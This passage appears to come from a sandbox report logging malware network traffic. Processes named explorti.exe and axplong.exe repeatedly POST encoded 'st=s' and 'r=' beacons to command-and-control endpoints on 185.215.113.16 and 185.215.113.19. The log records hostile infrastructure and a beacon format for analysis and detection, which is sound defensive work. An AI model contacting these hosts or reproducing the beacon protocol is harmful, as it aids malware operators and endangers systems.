Jul 27, 2024 09:26:41.305310965 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:41.575994015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49817	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:40.686551094 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:41.462132931 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:41.468525887 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:41.721695900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49818	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:41.947957039 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:42.727988005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:42.729454994 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:42.982340097 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49819	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:42.032202005 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:42.809407949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:42.810100079 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:43.059933901 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49820	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:43.093719006 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:43.831134081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:43.831825972 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:44.076216936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49821	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:43.172128916 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:43.928997040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:43.929812908 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:44.177822113 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49822	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:44.188010931 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:44.963426113 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:44.964097977 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:45.532608032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 09:26:45.533307076 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49823	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:44.300246954 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:45.044766903 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:45.045597076 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:45.533091068 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 27, 2024 09:26:45.534076929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49824	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:45.639853001 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:46.403223991 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:46.404499054 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:46.654247046 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49825	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:45.640224934 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:46.385646105 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:46.390640020 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:46.636153936 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49826	185.215.113.16	80	7688	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:46.754751921 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:47.510493994 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:47.511285067 CEST	310	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 34 34 32 43 33 46 46 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCF9A442C3FFFD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Jul 27, 2024 09:26:47.764411926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	49827	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:46.766606092 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:47.507385015 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 27, 2024 09:26:47.508166075 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 33 32 44 37 34 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB32D74B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jul 27, 2024 09:26:47.757366896 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	49828	185.215.113.19	80	7696	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 27, 2024 09:26:47.875159025 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 27, 2024 09:26:48.653964996 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 27 Jul 2024 07:26:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
